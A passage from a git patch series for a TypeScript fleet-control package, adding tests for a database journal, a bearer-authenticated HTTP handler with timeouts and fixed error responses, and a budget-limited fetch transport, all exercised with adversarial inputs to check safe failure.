operationId, + inputJson: '{"records":[]}', + })); + if (kind === 'json') + await db + .prepare( + 'UPDATE direct_reference_operations SET start_json=?,start_sha256=? WHERE run_key=?', + ) + .bind( + 'bad-json', + createHash('sha256').update('bad-json').digest('hex'), + runKey, + ) + .run(); + if (kind === 'hash') + await db + .prepare( + 'UPDATE direct_reference_operations SET start_sha256=? WHERE run_key=?', + ) + .bind('0'.repeat(64), runKey) + .run(); + if (kind === 'kind') + await db + .prepare( + 'UPDATE direct_reference_operations SET operation_kind=? WHERE run_key=?', + ) + .bind('inventory', runKey) + .run(); + if (kind === 'token-pair') { + await journal.rememberToken('audit-before', token(operationId, 1)); + await db + .prepare( + 'UPDATE direct_reference_operations SET token_revision=2 WHERE run_key=?', + ) + .bind(runKey) + .run(); + } + await expect( + new DirectReferenceJournal(db, runKey, binding).readOperation( + 'audit-before', + ), + ).rejects.toMatchObject({ code: 'journal-state' }); + }); + + it('enforces nullable token pairs in the actual database', async () => { + const { runKey, journal } = fixture(); + await journal.freezeStart('decommission-a', async () => ({ + operationId: null, + inputJson: '{}', + })); + await expect( + db + .prepare( + 'UPDATE direct_reference_operations SET token_revision=1 WHERE run_key=?', + ) + .bind(runKey) + .run(), + ).rejects.toThrow(/constraint/i); + expect( + (await journal.readOperation('decommission-a'))?.tokenRevision, + ).toBeNull(); + }); + + it('refuses ignored hint and witness writes instead of claiming success', async () => { + const { runKey, journal } = fixture(); + const operationId = randomUUID(); + await journal.freezeStart('migration-next', async () => ({ + operationId, + inputJson: '{}', + })); + const suffix = runKey.replaceAll('-', ''); + await db + .prepare( + `CREATE TRIGGER ignore_hint_${suffix} BEFORE UPDATE OF token_json ON direct_reference_operations WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`, + ) + .run(); + await expect( + journal.rememberToken('migration-next', token(operationId, 1)), + ).rejects.toMatchObject({ code: 'journal-state' }); + await db + .prepare( + `CREATE TRIGGER ignore_witness_${suffix} BEFORE UPDATE OF interruption_json ON direct_reference_run WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`, + ) + .run(); + await expect( + journal.recordInterruption('{"revision":2}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + expect(await journal.readInterruption()).toBeNull(); + }); + + it('bounds serialized control inputs before inserting an operation', async () => { + const { journal } = fixture(); + await expect( + journal.freezeStart('inventory-after', async () => ({ + operationId: randomUUID(), + inputJson: JSON.stringify({ value: 'x'.repeat(256 * 1024) }), + })), + ).rejects.toMatchObject({ code: 'journal-state' }); + expect(await journal.readOperation('inventory-after')).toBeUndefined(); + }); + + it('retries failed initialization and hides the underlying error', async () => { + let failed = false; + const wrapped = new Proxy(db, { + get(target, key) { + if (key === 'batch') + return async (statements: Parameters[0]) => { + if (!failed) { + failed = true; + throw new Error('secret-sentinel'); + } + return target.batch(statements); + }; + const value = Reflect.get(target, key); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const journal = new DirectReferenceJournal(wrapped, randomUUID(), binding); + await expect( + journal.readOperation('inventory-before'), + ).rejects.toMatchObject({ + code: 'journal-state', + message: 'journal-state', + }); + await expect( + journal.readOperation('inventory-before'), + ).resolves.toBeUndefined(); + }); +}); From 560db87dbf5738491a60f802e32d6436d98a54c4 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:51:22 +0400 Subject: [PATCH 111/169] test(fleet-control): authenticate direct reference actions --- .../scripts/direct-reference-http.ts | 202 ++++++++ .../scripts/direct-reference-journal.ts | 18 +- .../scripts/tsconfig.direct-worker.json | 3 +- .../test/direct-reference-http.test.ts | 447 ++++++++++++++++++ .../direct-reference-journal.harness.test.ts | 56 +++ 5 files changed, 723 insertions(+), 3 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-reference-http.ts create mode 100644 packages/fleet-control/test/direct-reference-http.test.ts diff --git a/packages/fleet-control/scripts/direct-reference-http.ts b/packages/fleet-control/scripts/direct-reference-http.ts new file mode 100644 index 00000000..70e9c202 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-http.ts @@ -0,0 +1,202 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + bearerActorAuthenticator, + staticTokenVerifier, +} from '@proofoftech/flowsafe/host-kit'; +import { + DIRECT_REFERENCE_PATH, + type DirectReferenceAction, + type DirectReferenceErrorCode, + type DirectReferenceRequest, + DirectReferenceRequestError, + readDirectReferenceRequest, +} from './direct-reference-contract.mjs'; +import { + type DirectJournalErrorCode, + DirectReferenceJournalError, +} from './direct-reference-journal.js'; + +export type DirectReferenceExecutionErrorCode = + | 'operation-refused' + | 'wrong-operation' + | 'missing-continuation' + | 'injected-response-loss' + | 'budget-exhausted'; + +export class DirectReferenceExecutionError extends Error { + readonly code: DirectReferenceExecutionErrorCode; + constructor(code: DirectReferenceExecutionErrorCode = 'operation-refused') { + super(code); + this.name = 'DirectReferenceExecutionError'; + this.code = code; + } +} + +export interface DirectReferenceHttpOptions { + readonly invokeSecret: string | undefined; + readonly configSha256: string; + readonly invocationTimeoutMs: number; + readonly dispatch: ( + action: DirectReferenceAction, + signal: AbortSignal, + ) => Promise; +} + +const requestStatus = { + 'invalid-request': 400, + 'payload-too-large': 413, + 'invalid-utf8': 400, + 'run-binding-mismatch': 409, +} satisfies Record; +const journalStatus = { + 'journal-state': 500, + 'run-binding-mismatch': 409, + 'operation-mismatch': 409, + 'missing-start': 409, +} satisfies Record; +const executionStatus = { + 'operation-refused': 409, + 'wrong-operation': 409, + 'missing-continuation': 409, + 'injected-response-loss': 503, + 'budget-exhausted': 503, +} satisfies Record; + +function response( + value: unknown, + status: number, + headers?: ConstructorParameters[0], +) { + const outputHeaders = new Headers(headers); + outputHeaders.set('Cache-Control', 'no-store'); + return Response.json(value, { status, headers: outputHeaders }); +} + +function failure( + code: string, + status: number, + headers?: ConstructorParameters[0], +) { + return response( + { contractVersion: 1, ok: false, error: { code } }, + status, + headers, + ); +} + +function failureFromException(error: unknown): Response { + try { + let statuses: Readonly> | undefined; + let code: unknown; + if (error instanceof DirectReferenceRequestError) { + statuses = requestStatus; + code = error.code; + } else if (error instanceof DirectReferenceJournalError) { + statuses = journalStatus; + code = error.code; + } else if (error instanceof DirectReferenceExecutionError) { + statuses = executionStatus; + code = error.code; + } + if (statuses && typeof code === 'string' && Object.hasOwn(statuses, code)) { + const status = statuses[code]; + if (status !== undefined) return failure(code, status); + } + } catch { + // Class and code inspection can invoke traps on a foreign rejection. + } + return failure('operation-refused', 500); +} + +export async function handleDirectReferenceHttpRequest( + request: Request, + options: DirectReferenceHttpOptions, +): Promise { + const deadline = new AbortController(); + let timer: ReturnType | undefined; + let deadlineAt: number | undefined; + try { + if (new URL(request.url).pathname !== DIRECT_REFERENCE_PATH) + return failure('not-found', 404); + if (request.method !== 'POST') + return failure('method-not-allowed', 405, { Allow: 'POST' }); + const secret = options.invokeSecret; + const authenticate = bearerActorAuthenticator( + staticTokenVerifier( + new Map( + typeof secret === 'string' && secret.trim().length > 0 + ? [[secret, { id: 'direct-conformance-operator', role: 'admin' }]] + : [], + ), + ), + ); + if (!(await authenticate(request))) + return failure('unauthorized', 401, { 'WWW-Authenticate': 'Bearer' }); + if ( + !Number.isSafeInteger(options.invocationTimeoutMs) || + options.invocationTimeoutMs < 1 || + options.invocationTimeoutMs > 2_147_483_647 + ) + return failure('operation-refused', 500); + const expiresAt = performance.now() + options.invocationTimeoutMs; + deadlineAt = expiresAt; + timer = setTimeout(() => deadline.abort(), options.invocationTimeoutMs); + const signal = AbortSignal.any([request.signal, deadline.signal]); + const assertActive = () => { + if (performance.now() >= expiresAt) deadline.abort(); + signal.throwIfAborted(); + }; + assertActive(); + const body = request.body?.pipeThrough(new TransformStream(), { signal }); + const init = { + method: request.method, + headers: request.headers, + body, + signal, + duplex: 'half' as const, + }; + let abortRead!: () => void; + const aborted = new Promise((_resolve, reject) => { + abortRead = () => reject(signal.reason); + signal.addEventListener('abort', abortRead, { once: true }); + }); + let input: DirectReferenceRequest; + try { + // workerd can await source cancellation after the pipe aborts. + input = await Promise.race([ + readDirectReferenceRequest( + new Request(request.url, init), + options.configSha256, + ), + aborted, + ]); + } finally { + signal.removeEventListener('abort', abortRead); + } + assertActive(); + const result = await options.dispatch(input.action, signal); + assertActive(); + const output = response( + { + contractVersion: 1, + configSha256: options.configSha256, + action: input.action.kind, + ok: true, + result, + }, + 200, + ); + assertActive(); + return output; + } catch (error) { + if (deadlineAt !== undefined && performance.now() >= deadlineAt) + deadline.abort(); + if (deadline.signal.aborted) return failure('invocation-timeout', 504); + if (request.signal.aborted) return failure('request-aborted', 499); + return failureFromException(error); + } finally { + if (timer !== undefined) clearTimeout(timer); + deadline.abort(); + } +} diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts index 2eefae2d..77fe8d32 100644 --- a/packages/fleet-control/scripts/direct-reference-journal.ts +++ b/packages/fleet-control/scripts/direct-reference-journal.ts @@ -189,8 +189,22 @@ export class DirectReferenceJournal { await this.#ready; return await operation(); } catch (error) { - if (error instanceof DirectReferenceJournalError) throw error; - return stateError(); + let code: DirectJournalErrorCode = 'journal-state'; + try { + if (error instanceof DirectReferenceJournalError) { + const candidate = error.code; + if ( + candidate === 'journal-state' || + candidate === 'run-binding-mismatch' || + candidate === 'operation-mismatch' || + candidate === 'missing-start' + ) + code = candidate; + } + } catch { + // Class and code inspection can invoke traps on a foreign rejection. + } + throw new DirectReferenceJournalError(code); } } diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index 89031b82..032ba207 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -8,7 +8,8 @@ "files": [ "direct-credentialed-tenant.ts", "direct-credentialed-spec.ts", - "direct-reference-journal.ts" + "direct-reference-journal.ts", + "direct-reference-http.ts" ], "include": [] } diff --git a/packages/fleet-control/test/direct-reference-http.test.ts b/packages/fleet-control/test/direct-reference-http.test.ts new file mode 100644 index 00000000..3d1b5d3d --- /dev/null +++ b/packages/fleet-control/test/direct-reference-http.test.ts @@ -0,0 +1,447 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; +import { + DirectReferenceExecutionError, + type DirectReferenceHttpOptions, + handleDirectReferenceHttpRequest, +} from '../scripts/direct-reference-http.js'; +import { DirectReferenceJournalError } from '../scripts/direct-reference-journal.js'; + +const configSha256 = 'a'.repeat(64); +const invokeSecret = 'direct-test-secret'; +const endpoint = `https://reference.test${DIRECT_REFERENCE_PATH}`; +const envelope = (action: unknown = { kind: 'control-read' }) => + JSON.stringify({ contractVersion: 1, configSha256, action }); + +function request(body = envelope(), authorization = `Bearer ${invokeSecret}`) { + return new Request(endpoint, { + method: 'POST', + headers: { authorization }, + body, + }); +} + +function fixture(overrides: Partial = {}) { + const dispatch = vi.fn(async () => ({ + status: 'pending', + })); + const options = { + invokeSecret, + configSha256, + invocationTimeoutMs: 5_000, + dispatch, + ...overrides, + }; + return { + dispatch, + handle: (input: Request) => + handleDirectReferenceHttpRequest(input, options), + }; +} + +describe('direct reference HTTP boundary', () => { + it.each([ + 'revoked', + 'prototype-trap', + 'code-getter', + 'unknown-code', + ] as const)('normalizes hostile rejection inspection: %s', async (kind) => { + let rejection: unknown; + if (kind === 'revoked') { + const { proxy, revoke } = Proxy.revocable({}, {}); + revoke(); + rejection = proxy; + } else if (kind === 'prototype-trap') + rejection = new Proxy( + {}, + { + getPrototypeOf() { + throw new Error('prototype-secret-sentinel'); + }, + }, + ); + else { + rejection = new DirectReferenceExecutionError(); + Object.defineProperty( + rejection, + 'code', + kind === 'code-getter' + ? { + get() { + throw new Error('code-secret-sentinel'); + }, + } + : { value: 'unrecognized-secret-sentinel' }, + ); + } + const { handle, dispatch } = fixture(); + dispatch.mockRejectedValue(rejection); + const response = await handle(request()); + expect(response.status).toBe(500); + expect(await response.json()).toEqual({ + contractVersion: 1, + ok: false, + error: { code: 'operation-refused' }, + }); + expect(response.headers.get('cache-control')).toBe('no-store'); + }); + + it.each([ + '', + 'Basic direct-test-secret', + 'Bearer other', + ])('refuses unauthorized input before body and dispatch: %s', async (authorization) => { + const { handle, dispatch } = fixture(); + const input = request('invalid-body-secret-sentinel', authorization); + const body = vi.spyOn(input, 'body', 'get'); + const response = await handle(input); + expect(response.status).toBe(401); + expect(response.headers.get('www-authenticate')).toBe('Bearer'); + expect(response.headers.get('cache-control')).toBe('no-store'); + expect(await response.json()).toEqual({ + contractVersion: 1, + ok: false, + error: { code: 'unauthorized' }, + }); + expect(body).not.toHaveBeenCalled(); + expect(dispatch).not.toHaveBeenCalled(); + body.mockRestore(); + }); + + it.each([ + undefined, + '', + ' ', + ])('refuses an absent or blank invocation secret: %s', async (secret) => { + const { handle, dispatch } = fixture({ invokeSecret: secret }); + expect((await handle(request())).status).toBe(401); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it.each([ + ['https://reference.test/other', 'POST', 404], + [endpoint, 'GET', 405], + ] as const)('refuses %s %s', async (url, method, status) => { + const { handle, dispatch } = fixture(); + const response = await handle(new Request(url, { method })); + expect(response.status).toBe(status); + expect(response.headers.get('cache-control')).toBe('no-store'); + if (status === 405) expect(response.headers.get('allow')).toBe('POST'); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it.each([ + ['malformed JSON', 'invalid-body-secret-sentinel', 400, 'invalid-request'], + [ + 'unknown key', + envelope({ kind: 'control-read', secret: 'sentinel' }), + 400, + 'invalid-request', + ], + [ + 'wrong run', + envelope().replace(configSha256, 'b'.repeat(64)), + 409, + 'run-binding-mismatch', + ], + ['size', 'x'.repeat(17_000), 413, 'payload-too-large'], + ] as const)('refuses invalid control input (%s)', async (_label, body, status, code) => { + const { handle, dispatch } = fixture(); + const response = await handle(request(body)); + expect(response.status).toBe(status); + expect(await response.json()).toEqual({ + contractVersion: 1, + ok: false, + error: { code }, + }); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it('refuses invalid UTF-8 without dispatch', async () => { + const { handle, dispatch } = fixture(); + const input = new Request(endpoint, { + method: 'POST', + headers: { authorization: `Bearer ${invokeSecret}` }, + body: new Uint8Array([0xff]), + }); + const response = await handle(input); + expect(response.status).toBe(400); + expect(await response.json()).toMatchObject({ + error: { code: 'invalid-utf8' }, + }); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it.each([ + 'blocked', + 'failed', + ])('retains the authoritative %s result and explicit token', async (status) => { + const result = { + status, + token: { operationId: 'actual-operation', revision: 8 }, + detail: 'fixed-result', + }; + const { handle, dispatch } = fixture(); + dispatch.mockResolvedValue(result); + const response = await handle( + request(envelope({ kind: 'migration-continue', token: null })), + ); + expect(dispatch).toHaveBeenCalledTimes(1); + expect(dispatch.mock.calls[0]?.[0]).toEqual({ + kind: 'migration-continue', + token: null, + }); + expect(dispatch.mock.calls[0]?.[1]).toBeInstanceOf(AbortSignal); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ + contractVersion: 1, + configSha256, + action: 'migration-continue', + ok: true, + result, + }); + expect(response.headers.get('cache-control')).toBe('no-store'); + }); + + it.each([ + [ + new Error('provider-secret-sentinel', { cause: 'secret-cause' }), + 500, + 'operation-refused', + ], + [new DirectReferenceJournalError(), 500, 'journal-state'], + [ + new DirectReferenceJournalError('operation-mismatch'), + 409, + 'operation-mismatch', + ], + [ + new DirectReferenceExecutionError('wrong-operation'), + 409, + 'wrong-operation', + ], + [ + new DirectReferenceExecutionError('injected-response-loss'), + 503, + 'injected-response-loss', + ], + [ + new DirectReferenceExecutionError('budget-exhausted'), + 503, + 'budget-exhausted', + ], + ] as const)('returns a fixed exception envelope: %s', async (error, status, code) => { + const { handle, dispatch } = fixture(); + dispatch.mockRejectedValue(error); + const response = await handle(request()); + expect(response.status).toBe(status); + expect(await response.json()).toEqual({ + contractVersion: 1, + ok: false, + error: { code }, + }); + expect(response.headers.get('cache-control')).toBe('no-store'); + }); + + it('refuses already-aborted requests before dispatch', async () => { + const controller = new AbortController(); + controller.abort('secret-reason'); + const { handle, dispatch } = fixture(); + const response = await handle( + new Request(request(), { signal: controller.signal }), + ); + expect(response.status).toBe(499); + expect(await response.json()).toMatchObject({ + error: { code: 'request-aborted' }, + }); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it('checks elapsed time when the timeout callback has not run', async () => { + const elapsed = vi.spyOn(performance, 'now').mockReturnValue(0); + try { + const { handle, dispatch } = fixture({ invocationTimeoutMs: 1000 }); + dispatch.mockImplementation(async () => { + elapsed.mockReturnValue(2000); + return { status: 'complete' }; + }); + const response = await handle(request()); + expect(response.status).toBe(504); + } finally { + elapsed.mockRestore(); + } + }); + + it('cancels the piped source after an early Content-Length refusal', async () => { + const { handle, dispatch } = fixture(); + const cancel = vi.fn(); + const init = { + method: 'POST', + headers: { + authorization: `Bearer ${invokeSecret}`, + 'content-length': '17000', + }, + body: new ReadableStream({ cancel }), + duplex: 'half' as const, + }; + const response = await handle(new Request(endpoint, init)); + expect(response.status).toBe(413); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(cancel).toHaveBeenCalledTimes(1); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it('cancels a stalled body despite a nonsettling source cancellation', async () => { + const { handle, dispatch } = fixture({ invocationTimeoutMs: 25 }); + const cancel = vi.fn(() => new Promise(() => {})); + const init = { + method: 'POST', + headers: { authorization: `Bearer ${invokeSecret}` }, + body: new ReadableStream({ cancel }), + duplex: 'half' as const, + }; + const response = await handle(new Request(endpoint, init)); + expect(response.status).toBe(504); + expect(await response.json()).toMatchObject({ + error: { code: 'invocation-timeout' }, + }); + expect(cancel).toHaveBeenCalledTimes(1); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it('returns the size refusal without waiting for source cancellation', async () => { + const { handle, dispatch } = fixture({ invocationTimeoutMs: 1000 }); + const init = { + method: 'POST', + headers: { authorization: `Bearer ${invokeSecret}` }, + body: new ReadableStream({ + start(c) { + c.enqueue(new Uint8Array(17000)); + }, + cancel() { + return new Promise(() => {}); + }, + }), + duplex: 'half' as const, + }; + const response = await handle(new Request(endpoint, init)); + expect(response.status).toBe(413); + expect(dispatch).not.toHaveBeenCalled(); + }); + + it('awaits dispatch settlement after timeout instead of leaving a detached operation', async () => { + let release!: () => void; + let aborted!: () => void; + const abortObserved = new Promise((resolve) => { + aborted = resolve; + }); + const cleanup = new Promise((resolve) => { + release = resolve; + }); + const { handle, dispatch } = fixture({ invocationTimeoutMs: 25 }); + dispatch.mockImplementation(async (_action, signal) => { + signal.addEventListener('abort', aborted, { once: true }); + await cleanup; + return { status: 'complete' }; + }); + let responseSettled = false; + const result = handle(request()).then((response) => { + responseSettled = true; + return response; + }); + await abortObserved; + expect(responseSettled).toBe(false); + release(); + const response = await result; + expect(response.status).toBe(504); + expect(await response.json()).toMatchObject({ + error: { code: 'invocation-timeout' }, + }); + expect(dispatch).toHaveBeenCalledTimes(1); + }); +}); + +describe('direct reference HTTP boundary inside workerd', () => { + let directory: string; + let server: TestHarness; + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'direct-http-')); + const main = join(directory, 'worker.ts'); + await writeFile( + main, + `import {handleDirectReferenceHttpRequest} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-http.ts', import.meta.url)))}; + export default {async fetch(request){ + const mode=new URL(request.url).searchParams.get('probe'); + let calls=0; + if(mode==='stalled')request=new Request(${JSON.stringify(endpoint)},{method:'POST',headers:{authorization:'Bearer ${invokeSecret}'},body:new ReadableStream({cancel(){return new Promise(()=>{});}})}); + if(mode==='oversize')request=new Request(${JSON.stringify(endpoint)},{method:'POST',headers:{authorization:'Bearer ${invokeSecret}'},body:new ReadableStream({start(c){c.enqueue(new Uint8Array(17000));},cancel(){return new Promise(()=>{});}})}); + const response=await handleDirectReferenceHttpRequest(request,{invokeSecret:'${invokeSecret}',configSha256:'${configSha256}',invocationTimeoutMs:100,dispatch:async(action)=>{calls++;return {status:'blocked',action};}}); + response.headers.set('x-fixture-dispatches',String(calls));return response; + }};`, + ); + server = createTestHarness({ + root: directory, + workers: [ + { + config: { + name: 'direct-http-harness', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + }, + }, + ], + }); + await server.listen(); + }, 30_000); + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + } + }, 30_000); + + it('authenticates and preserves a blocked result', async () => { + const response = await server.getWorker().fetch(endpoint, { + method: 'POST', + headers: { authorization: `Bearer ${invokeSecret}` }, + body: envelope({ kind: 'migration-continue', token: false }), + }); + expect(response.status).toBe(200); + expect(response.headers.get('x-fixture-dispatches')).toBe('1'); + expect(await response.json()).toMatchObject({ + ok: true, + result: { + status: 'blocked', + action: { kind: 'migration-continue', token: false }, + }, + }); + }); + it.each([ + ['stalled', 504], + ['oversize', 413], + ] as const)('refuses %s without dispatch', async (mode, status) => { + const response = await server + .getWorker() + .fetch(`${endpoint}?probe=${mode}`); + expect(response.status, await response.text()).toBe(status); + expect(response.headers.get('x-fixture-dispatches')).toBe('0'); + }); + it('refuses invalid authentication', async () => { + const response = await server.getWorker().fetch(endpoint, { + method: 'POST', + headers: { authorization: 'Bearer other' }, + body: 'secret-body', + }); + expect(response.status).toBe(401); + expect(response.headers.get('x-fixture-dispatches')).toBe('0'); + }); +}); diff --git a/packages/fleet-control/test/direct-reference-journal.harness.test.ts b/packages/fleet-control/test/direct-reference-journal.harness.test.ts index 4e384be5..43b55b02 100644 --- a/packages/fleet-control/test/direct-reference-journal.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-journal.harness.test.ts @@ -81,6 +81,62 @@ describe.sequential('direct reference journal in native D1', { return { runKey, journal: new DirectReferenceJournal(db, runKey, binding) }; } + it.each([ + 'revoked', + 'prototype-trap', + 'code-getter', + 'unknown-code', + 'message', + ] as const)('normalizes hostile database rejection: %s', async (kind) => { + let rejection: unknown; + if (kind === 'revoked') { + const { proxy, revoke } = Proxy.revocable({}, {}); + revoke(); + rejection = proxy; + } else if (kind === 'prototype-trap') + rejection = new Proxy( + {}, + { + getPrototypeOf() { + throw new Error('prototype-secret-sentinel'); + }, + }, + ); + else { + rejection = new DirectReferenceJournalError('missing-start'); + Object.defineProperty( + rejection, + kind === 'message' ? 'message' : 'code', + kind === 'code-getter' + ? { + get() { + throw new Error('code-secret-sentinel'); + }, + } + : { value: 'unrecognized-secret-sentinel' }, + ); + } + const wrapped = new Proxy(db, { + get(target, key) { + if (key === 'batch') + return async () => { + throw rejection; + }; + const value = Reflect.get(target, key); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const journal = new DirectReferenceJournal(wrapped, randomUUID(), binding); + const code = kind === 'message' ? 'missing-start' : 'journal-state'; + await expect( + journal.readOperation('inventory-before'), + ).rejects.toMatchObject({ + name: 'DirectReferenceJournalError', + code, + message: code, + }); + }); + it('executes the journal inside workerd and reloads its records', async () => { const { runKey, journal } = fixture(); const url = `https://journal.test/?run=${runKey}`; From 25c976aa28e67bad4cd449f418eb70e394af298f Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 23:55:01 +0400 Subject: [PATCH 112/169] fix(fleet-control): preserve native fetch in bounded reference calls --- .../fleet-control-native-fetch-receivers.md | 5 + .../scripts/direct-reference-transport.ts | 144 +++++++ .../scripts/tsconfig.direct-worker.json | 3 +- .../fleet-control/src/cloudflare-client.ts | 3 +- .../fleet-control/src/plain-worker-backend.ts | 3 +- .../src/workers-for-platforms-backend.ts | 3 +- .../test/direct-reference-transport.test.ts | 379 ++++++++++++++++++ .../test/fetch-receiver.harness.test.ts | 132 ++++++ .../workers-for-platforms-backend.test.ts | 69 ++-- 9 files changed, 710 insertions(+), 31 deletions(-) create mode 100644 .changeset/fleet-control-native-fetch-receivers.md create mode 100644 packages/fleet-control/scripts/direct-reference-transport.ts create mode 100644 packages/fleet-control/test/direct-reference-transport.test.ts create mode 100644 packages/fleet-control/test/fetch-receiver.harness.test.ts diff --git a/.changeset/fleet-control-native-fetch-receivers.md b/.changeset/fleet-control-native-fetch-receivers.md new file mode 100644 index 00000000..4af7587c --- /dev/null +++ b/.changeset/fleet-control-native-fetch-receivers.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Call supplied fetch functions without a client or backend receiver so native Worker fetch works in the Cloudflare client and maintenance backends. diff --git a/packages/fleet-control/scripts/direct-reference-transport.ts b/packages/fleet-control/scripts/direct-reference-transport.ts new file mode 100644 index 00000000..6644a1e4 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-transport.ts @@ -0,0 +1,144 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { DirectConformanceConfig } from './direct-credentialed-conformance-config.mjs'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; + +export const DIRECT_REFERENCE_LEASE = Object.freeze({ + leaseTtlMs: 900_000, + leaseRenewalIntervalMs: 300_000, +}); + +export interface DirectReferenceTransportOptions { + readonly runtime: Pick< + DirectConformanceConfig['referenceWorker'], + 'requestTimeoutMs' | 'invocationTimeoutMs' | 'maxProviderRequests' + >; + readonly startedAt: number; + readonly signal: AbortSignal; + readonly fetch?: typeof fetch; +} + +export interface DirectReferenceTransportSnapshot { + readonly providerAttempts: number; + readonly maintenanceAttempts: number; + readonly effectiveRequestTimeoutMs: number; + readonly failure: 'deadline' | 'attempts' | 'aborted' | null; +} + +export class DirectReferenceTransport { + readonly #nativeFetch: typeof fetch; + readonly #signal: AbortSignal; + readonly #deadlineAt: number; + readonly #maxAttempts: number; + readonly #abort = new AbortController(); + readonly effectiveRequestTimeoutMs: number; + #providerAttempts = 0; + #maintenanceAttempts = 0; + #failure: DirectReferenceTransportSnapshot['failure'] = null; + + constructor(options: DirectReferenceTransportOptions) { + const { requestTimeoutMs, invocationTimeoutMs, maxProviderRequests } = + options.runtime; + if ( + !Number.isFinite(options.startedAt) || + options.startedAt < 0 || + !Number.isSafeInteger(requestTimeoutMs) || + requestTimeoutMs < 1 || + requestTimeoutMs > 2_147_483_647 || + !Number.isSafeInteger(invocationTimeoutMs) || + invocationTimeoutMs < 1 || + invocationTimeoutMs > 2_147_483_647 || + !Number.isSafeInteger(maxProviderRequests) || + maxProviderRequests < 9 || + maxProviderRequests > 1000 + ) + throw new DirectReferenceExecutionError(); + const fetchFn = options.fetch ?? globalThis.fetch; + this.#nativeFetch = (input, init) => fetchFn(input, init); + this.#signal = options.signal; + this.#deadlineAt = options.startedAt + invocationTimeoutMs; + this.#maxAttempts = maxProviderRequests; + this.effectiveRequestTimeoutMs = Math.min( + requestTimeoutMs, + invocationTimeoutMs, + DIRECT_REFERENCE_LEASE.leaseTtlMs - 1, + ); + } + + readonly providerFetch: typeof fetch = (input, init) => + this.#send('provider', input, init); + + readonly maintenanceFetch: typeof fetch = (input, init) => + this.#send('maintenance', input, init); + + #fail( + reason: NonNullable, + ): void { + this.#failure ??= reason; + this.#abort.abort(); + } + + #observeFailure(): void { + if (performance.now() >= this.#deadlineAt) this.#fail('deadline'); + else if (this.#signal.aborted) this.#fail('aborted'); + } + + assertWithinBudget(): void { + this.#observeFailure(); + if (this.#failure !== null) + throw new DirectReferenceExecutionError('budget-exhausted'); + } + + snapshot(): DirectReferenceTransportSnapshot { + this.#observeFailure(); + return Object.freeze({ + providerAttempts: this.#providerAttempts, + maintenanceAttempts: this.#maintenanceAttempts, + effectiveRequestTimeoutMs: this.effectiveRequestTimeoutMs, + failure: this.#failure, + }); + } + + async #send( + kind: 'provider' | 'maintenance', + input: Parameters[0], + init: Parameters[1], + ): Promise { + this.assertWithinBudget(); + const requestInit = { ...init, duplex: 'half' as const }; + const request = new Request(input, requestInit); + request.signal.throwIfAborted(); + if (request.url === 'data:,') return this.#nativeFetch(request); + const protocol = new URL(request.url).protocol; + if (protocol !== 'https:' && protocol !== 'http:') + throw new DirectReferenceExecutionError(); + this.assertWithinBudget(); + if ( + this.#providerAttempts + this.#maintenanceAttempts >= + this.#maxAttempts + ) { + this.#fail('attempts'); + this.assertWithinBudget(); + } + const timeoutMs = Math.max( + 1, + Math.ceil( + Math.min( + this.effectiveRequestTimeoutMs, + this.#deadlineAt - performance.now(), + ), + ), + ); + const signal = AbortSignal.any([ + request.signal, + this.#signal, + this.#abort.signal, + AbortSignal.timeout(timeoutMs), + ]); + this.assertWithinBudget(); + signal.throwIfAborted(); + if (kind === 'provider') this.#providerAttempts++; + else this.#maintenanceAttempts++; + return this.#nativeFetch(request, { signal, redirect: 'error' }); + } +} diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index 032ba207..380c0e2a 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -9,7 +9,8 @@ "direct-credentialed-tenant.ts", "direct-credentialed-spec.ts", "direct-reference-journal.ts", - "direct-reference-http.ts" + "direct-reference-http.ts", + "direct-reference-transport.ts" ], "include": [] } diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 69cc60d6..6526258b 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ 